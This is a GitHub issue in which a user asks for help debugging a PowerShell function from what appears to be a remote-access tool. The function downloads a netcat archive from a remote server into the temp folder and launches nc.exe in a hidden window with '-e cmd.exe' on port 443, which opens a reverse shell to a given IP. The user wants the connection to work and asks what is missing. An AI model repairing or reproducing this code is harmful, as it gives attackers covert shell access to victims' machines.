Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Netcat #1

Open
FLI9HT opened this issue Feb 13, 2022 · 0 comments
Open

Netcat #1

FLI9HT opened this issue Feb 13, 2022 · 0 comments

Comments

@FLI9HT
Copy link

FLI9HT commented Feb 13, 2022

I can't for the life of me get the nc command to work!

I have altered the code slightly to see if I can get it running but it doesnt seem to be opening the unzipped netcat folder to run the .exe with the args?

function netcat($ip) {
    Send-Message "Downloading_netcat.."
    $url = "http://**************:8080/nc.zip"
    $outpath = "$env:temp\nc.zip"
    $outpathUnzip  = "$env:temp\nc"
    [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
    Invoke-WebRequest -Uri $url -OutFile $outpath
    
    Start-Sleep -Seconds 5
    Expand-Archive $outpath -DestinationPath $outpathUnzip    
    $args = "$ip 443 -e cmd.exe"
    $netcat = $env:temp\nc.exe

    Start-Sleep -Seconds 5
    Send-Message "Connecting.."
    Send-Message "IP:$ip"
    Send-Message "Port:443"
    Start-Process $netcat -ArgumentList $args -WindowStyle Hidden

Is there anything obvious I have missed in the code?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant